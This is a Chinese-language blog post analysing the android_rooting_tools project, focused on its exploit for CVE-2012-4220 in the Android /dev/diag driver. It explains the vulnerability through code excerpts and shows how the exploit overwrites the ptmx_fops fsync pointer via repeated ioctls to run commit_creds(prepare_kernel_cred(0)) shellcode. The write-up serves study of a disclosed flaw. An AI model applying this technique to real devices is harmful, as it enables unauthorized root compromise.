android_rooting_tools是GITHUB上的一个Android内核漏洞提权项目,包含多套内核漏洞的exploit代码:

EXPLOIT CVE 简单描述
libdiagexploit CVE-2012-4220 任意地址写有限任意值
libfb_mem_exploit CVE-2013-2596 整数溢出导致remap_pfn_range校验绕过
libfj_hdcp_exploit 未知
libfutex_exploit CVE-2014-3153 UAF, TowelRoot
libget_user_exploit CVE-2013-6282 get_user边界未校验致任意地址写
libmsm_acdb_exploit CVE-2013-2597 栈溢出
libmsm_cameraconfig_exploit CVE-2013-2595
libperf_event_exploit CVE-2013-2094
libpingpong_exploit CVE-2015-3636 UAF, Pingpong Root
libput_user_exploit CVE-2013-6282 put_user边界未校验致任意地址写

下面通过 libdiagexploit 这份漏洞利用代码,分析一下项目源码。

libdiagexploit利用的CVE-2012-4220,这是一个驱动设备ioctl接口的任意地址写有限的任意值漏洞。

漏洞代码如下:

  1. 8 long diagchar_ioctl(struct file *filp,
  2. 9 unsigned int iocmd, unsigned long ioarg)
  3. /* ... */
  4. 18 if (iocmd == DIAG_IOCTL_COMMAND_REG) {
  5. /* ... */
  6. 72 } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
  7. 73 struct diagpkt_delay_params *delay_params =
  8. 74 (struct diagpkt_delay_params *) ioarg;
  9. 75
  10. 76 if ((delay_params->rsp_ptr) &&
  11. 77 (delay_params->size == sizeof(delayed_rsp_id)) &&
  12. 78 (delay_params->num_bytes_ptr)) {
  13. 79 *((uint16_t *)delay_params->rsp_ptr) =
  14. 80 DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
  15. 81 *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
  16. 82 success = 0;
  17. 83 }
  18. 84 } else if (iocmd == DIAG_IOCTL_DCI_REG) {
  19. /* ... */

在处理DIAG_IOCTL_GET_DELAYED_RSP_ID命令时,ioarg由用户态的ioctl调用传入,其值完全受用户控制,上述漏洞代码在进行delay_params->rsp_ptr和delay_params->num_bytes_ptr赋值时,未校验其地址合法性:

  1. *((uint16_t *)delay_params->rsp_ptr) =
  2. DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
  3. *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
  1. #define DIAGPKT_MAX_DELAYED_RSP 0xFFFF
  2. #define DIAGPKT_NEXT_DELAYED_RSP_ID(x) \
  3. ((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)

DIAGPKT_NEXT_DELAYED_RSP_ID宏使用全局变量delayed_rsp_id值每次加1,其范围被限制在2-0xFFFF之间,因此通过多次调用此接口,可以达成任意地址写有限的任意值。

下面分析android_rooting_tools如何利用这个漏洞提权。

android_rooting_tools的入口函数在main.c:

  1. int
  2. main(int argc, char **argv)
  3. {
  4. /* ... */
  5. device_detected();
  6. if (!setup_variables()) {
  7. printf("Failed to setup variables.\n");
  8. exit(EXIT_FAILURE);
  9. }
  10. run_exploit();
  11. if (getuid() != 0) {
  12. printf("Failed to obtain root privilege.\n");
  13. exit(EXIT_FAILURE);
  14. }
  15. /* ... */
  16. }

首先通过device_detected()函数获得设备信息,android_rooting_tools通过sqlite数据库存放了一些已知设备的符号地址等硬编码信息,如果匹配到的话,就不需要计算直接赋值。

这是比较有用的,比如某些设备打开了kptr_strict,读取不到符号地址,通过查询数据库也可以达到相同目的。

setup_variables()来进行几个全局变量初始化工作,包括:

  1. prepare_kernel_cred() 函数地址
  2. commit_creds() 函数地址
  3. ptmx_fops 结构地址

为了尽可能保证取到这3个符号地址,android-rooting-tools使用了3种方式

  1. 读取数据库(device_get_symbol_address函数)
  2. 通过/proc/kallsyms读取(kallsyms_get_symbol_address函数)
  3. 通过内存暴力搜索(run_with_mmap或run_with_memcpy函数)

根据初始化信息,可以看出android-rooting-tools使用的是一个非常常用的提权套路:

  1. 提权的shellcode在用户地址空间,主要代码是 commit_creds(prepare_kernel_cred(0));
  2. 在ptmx_fops结构中,通过+0x38偏移,找到fsync()函数地址
  3. 通过任意直址写漏洞,将fsync()地址替换成shellcode 地址
  4. 用户态调用fsync(fd),触发shellcode执行,完成提权

继续看,run_exploit()是完成提权的主要代码。然后通过getuid()判断提权是否成功。

  1. static bool
  2. run_exploit(void)
  3. {
  4. /* ... */
  5. return attempt_exploit(ptmx_fops_fsync_address,
  6. (unsigned long int)&obtain_root_privilege,
  7. 0,
  8. run_obtain_root_privilege,
  9. NULL);
  10. }

run_exploit主要调用了attempt_exploit函数,其中ptmx_fops_fsync_address是fsync符号地址,可以看到它是从ptmx_fops+0x38处取的:

  1. ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;

参数obtain_root_privilege传入的是shellcode的函数指针,run_obtain_root_privilege是一个回调函数,用于在准备条件完成后,进行提权操作:

  1. static bool
  2. run_obtain_root_privilege(void *user_data)
  3. {
  4. /* ... */
  5. obtain_root_privilege_func = obtain_root_privilege_by_commit_creds;
  6. fd = open(PTMX_DEVICE, O_WRONLY);
  7. ret = fsync(fd);
  8. if (getuid() != 0) {
  9. printf("commit_creds(): failed. Try to hack task->cred.\n");
  10. obtain_root_privilege_func = obtain_root_privilege_by_modify_task_cred;
  11. ret = fsync(fd);
  12. }
  13. /* ... */
  14. }

可以看到,代码首先使用commit_creds进行提权,当提权失败时,使用了另一种直接修改task_cred结构的方式提权,这里先暂不介绍。

attempt_exploit中使用了多种漏洞利用代码进行提权,这些漏洞类型包含在上面介绍的列表中:

  1. bool
  2. attempt_exploit(unsigned long int address, //fsync地址
  3. unsigned long int write_value, //shellcode地址
  4. unsigned long int restore_value,
  5. exploit_callback_t callback_func,
  6. void *callback_param)
  7. {
  8. callback_info_t info;
  9. /* 设置回调函数及参数 */
  10. info.func = callback_func;
  11. info.param = callback_param;
  12. info.result = false;
  13. // Attempt exploits in most stable order
  14. /* 提权操作 */
  15. printf("Attempt acdb exploit...\n");
  16. /* ... */
  17. if (attempt_diag_exploit(address, write_value, &info)) {
  18. return info.result;
  19. }
  20. }

代码只保留attempt_diag_exploit,也就是针对CVE-2012-4220的漏洞利用,其中info中包含的是漏洞利用是否成功的状态,和回调函数地址。

  1. static bool
  2. attempt_diag_exploit(unsigned long int address, //fsync地址
  3. unsigned long int write_value, //shellcode地址
  4. callback_info_t *info)
  5. {
  6. struct diag_values injection_data;
  7. if (write_value > (uint16_t)-1) {
  8. return false;
  9. }
  10. injection_data.address = address;
  11. injection_data.value = (uint16_t)write_value;
  12. return diag_run_exploit(&injection_data, 1, &run_callback, info);
  13. }

diag_run_exploit在libdiagexploit目录下的diag.c文件实现:

  1. bool
  2. diag_run_exploit(struct diag_values *data, int data_length,
  3. bool(*exploit_callback)(void* user_data), void *user_data)
  4. {
  5. fd = open("/dev/diag", O_RDWR);
  6. success = diag_inject_with_fd(data, data_length, fd);
  7. if (success) {
  8. success = exploit_callback(user_data);
  9. restore_values(data, data_length, fd);
  10. }
  11. /* ... */
  12. }

主要有3个功能
1. diag_inject_with_fd()修改fsync地址为shellcode地址
2. 用户态调用fsync()触发提权
3. 调用restore_values()恢复fsync原始值

因此,核心代码在diag_inject_with_fd中:

  1. bool
  2. diag_inject_with_fd(struct diag_values *data, int data_length, int fd)
  3. {
  4. /* ... */
  5. //data_length = 1
  6. for (i = 0; i < data_length; i++) {
  7. if (!inject_value(&data[i], fd, delayed_rsp_id_address)) {
  8. return false;
  9. }
  10. }
  11. /* ... */
  12. }

diag_inject_with_fd()函数中,先获取delay_rsp_id变量的地址,并调用inject_value()进行实际的任意地址修改,这里注意for循环中,传入的data_length为1:

  1. static bool
  2. inject_value(struct diag_values *data,
  3. int fd, void *delayed_rsp_id_address)
  4. {
  5. /* 获取当前delayed_rsp_id值,用于还原 */
  6. ret = get_current_delayed_rsp_id(fd);
  7. /* ... */
  8. data->original_value = delayed_rsp_id_value;
  9. /* 如果要写入的大于delayed_rsp_id,则重置为2(2-0xFFFF)
  10. 因为DIAGPKT_NEXT_DELAYED_RSP_ID宏会递增这个值,
  11. 注意我们只能控制16位即2字节的数据,如果需要写一个32位地址需写2次
  12. */
  13. if (delayed_rsp_id_value > data->value &&
  14. reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
  15. return false;
  16. }
  17. /* 每次调用使delayed_rsp_id值加1,这里计算需要调用的次数 */
  18. loop_count = (data->value - delayed_rsp_id_value) & 0xffff;
  19. for (i = 0; i < loop_count; i++) {
  20. int unused;
  21. if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
  22. return false;
  23. }
  24. }
  25. return true;
  26. }

最终for循环的最后一次调用 send_delay_params(fd, (void *)data->address, &unused) 会将 data->address 赋值为 delayed_rsp_id 的值,也就是有限范围内(2-0xFFFF)我们指定的一个任意值。

由上面传递参数可以知道,data->address即fsync地址,最终的delayed_rsp_id是data->value值,也即shellcode地址。

delayed_rsp_id的值通过DIAG_IOCTL_GET_DELAYED_RSP_ID命令获取,其它reset等操作类似:

  1. struct diagpkt_delay_params params;
  2. params.rsp_ptr = target_address;
  3. params.size = 2;
  4. params.num_bytes_ptr = stored_for_written_bytes;
  5. ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &params);

到目前为止,我们已经将内核fsync函数地址改为了用户态shellcode的地址,只要在用户态调用fsync()函数,系统将会通过中断调用到内核态fsync函数,执行shellcode实现提权。

android_rooting_tools 项目介绍(CVE-2012-4220)的更多相关文章

  1. windows下nodejs express安装及入门网站,视频资料,开源项目介绍

    windows下nodejs express安装及入门网站,视频资料,开源项目介绍,pm2,supervisor,npm,Pomelo,Grunt安装使用注意事项等总结 第一步:下载安装文件下载地址: ...

  2. Hadoop学习笔记—20.网站日志分析项目案例(一)项目介绍

    网站日志分析项目案例(一)项目介绍:当前页面 网站日志分析项目案例(二)数据清洗:http://www.cnblogs.com/edisonchou/p/4458219.html 网站日志分析项目案例 ...

  3. 10年C#历程的MVP之路与MVP项目介绍

            本博客所有文章分类的总目录:http://www.cnblogs.com/asxinyu/p/4288836.html  1.意外的惊喜 10月份收到微软总部寄来的荣誉证书,非常激动, ...

  4. Openlayers+Geoserver(一):项目介绍以及地图加载

           项目验收完,趁着事情不是很多,对这个项目进行梳理.我主要负责地图模块,网站其他模块主要有两个,一个是报表,主要是100多张报表,技术没有难度,主要是工作量的问题.另一个是数据的校验,就是 ...

  5. CoinPunk项目介绍

           CoinPunk是一个bitcoin比特币钱夹服务web应用程序,你可以自己构建钱夹服务.开源,免费. 轻量级,高效 响应式设计 轻易创建新账户 详细的交易记录 构建于Node.js与H ...

  6. Android Hotpatch系列之-项目介绍

    给现实Android apk打补丁,不用强迫客户升级客户端,悄悄的就把bug修复了,程序猿再也不用被老大骂娘了. 客户端例子实现:https://github.com/fengcunhan/Hotpa ...

  7. xcode新建项目介绍

    xcode新建项目介绍 1.打开xcode选择“create a new xcode project 2.product name 工程名称 campany identifter 公司id 一般都写公 ...

  8. 斗地主算法的设计与实现--项目介绍&如何定义和构造一张牌

    本篇主要讲解斗地主中如何比较两手牌的大小. 友情提示:本篇是接着以下两篇文章就讲解的,建议先看看下面这2篇. 斗地主算法的设计与实现--如何判断一手牌的类型(单,对子,三不带,三带一,四代二等) 斗地 ...

  9. Oschat IM 开源即时通讯项目介绍 - FengJ的个人页面 - 开源中国社区

    Oschat IM 开源即时通讯项目介绍 - FengJ的个人页面 - 开源中国社区 Oschat IM 开源即时通讯项目介绍    255人收藏此文章, 我要收藏 发表于5天前(2013-08-28 ...

随机推荐

  1. CSS知识点(二)

    七.CSS的继承性和层叠性 继承性 面向对象语言都会存在继承的概念,在面向对象语言中,继承的特点:继承了父类的属性和方法.那么我们现在主要研究css,css就是在设置属性的.不会牵扯到方法的层面. 继 ...

  2. Homebrew 备忘

    每次都搜,写篇博客记录以备后续查看. 安装 /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew ...

  3. textarea标签内的文字无缘故居中解决原因

    <textarea> 内容内容 </textarea> 浏览器会解析为 <textarea><br>     内容内容</textarea> ...

  4. Android Studio向项目添加C/C++原生代码教程

    说明:本文相当于官方文档的个人重新实现,官方文档链接:https://developer.android.com/studio/projects/add-native-code 向项目添加C/C++代 ...

  5. Oracle修改监听端口教程

    Oracle默认监听端口1521,一众扫描器通常通过探测1521端口是否开启来探测是否存在Oracle服务,如果修改默认监听端口在一定程度上可以提升数据库和主机的安全性. 比如这里我们修改成2521为 ...

  6. swftools安装教程

    1 安装说明 本教程以环境为CentOS6.5+swftools-0.9.1.安装目录等可根据自己需要更改. 2 安装过程 1)下载软件 http://www.swftools.org/downloa ...

  7. 放弃Dubbo,选择最流行的Spring Cloud微服务架构实践与经验总结

    http://developer.51cto.com/art/201710/554633.htm Spring Cloud 在国内中小型公司能用起来吗?从 2016 年初一直到现在,我们在这条路上已经 ...

  8. laravel管理员表中的模型

    <?php namespace App; use App\Model; use Illuminate\Foundation\Auth\User as Authenticatable; class ...

  9. getopts的使用方法

    getopts的使用 语法格式:getopts [option[:]] [DESCPRITION] VARIABLE option:表示为某个脚本可以使用的选项 ":":如果某个选 ...

  10. java 实现简单的链式栈

    package com.my; /** * 链式栈 * @author wanjn * */ public class LinkedStack { private Node head; private ...